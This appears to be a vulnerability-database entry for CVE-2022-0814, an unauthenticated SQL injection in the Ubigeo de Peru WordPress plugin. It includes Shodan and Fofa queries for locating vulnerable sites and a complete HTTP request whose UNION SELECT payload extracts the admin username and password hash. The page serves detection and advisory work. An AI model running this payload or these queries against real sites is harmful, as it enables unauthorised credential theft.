🔙 목록으로 돌아가기

CVE-2022-0814: Ubigeo de Peru < 3.6.4 - SQL Injection

TitleUbigeo de Peru < 3.6.4 - SQL Injection
Authorr3Y3r53
SeverityCritical
ImpactUnauthenticated attackers can exploit SQL injection via AJAX actions to extract usernames and password hashes from the WordPress database.
RemediationFixed in version 3.6.4
CVSS Score9.8
EPSS Score0.58129
CVE IDCVE-2022-0814
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/ubigeo-peru/
Fofa Querybody=/wp-content/plugins/ubigeo-peru/
Tags cve cve2022 wordpress wpscan wp-plugin sqli ubigeo-peru unauth ubigeo_de_peru_para_woocommerce_project vuln

🔍 Vulnerability Description

The plugin does not properly sanitise and escape some parameters before using them in SQL statements via various AJAX actions, some of which are available to unauthenticated users, leading to SQL Injections.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 209
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=rt_ubigeo_load_distritos_address&idProv=1%20UNION%20SELECT%201,(SELECT%20user_login%20FROM%20wp_users%20WHERE%20ID%20=%201),(SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%20=%201)%20from%20wp_users#

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0814.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0814.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A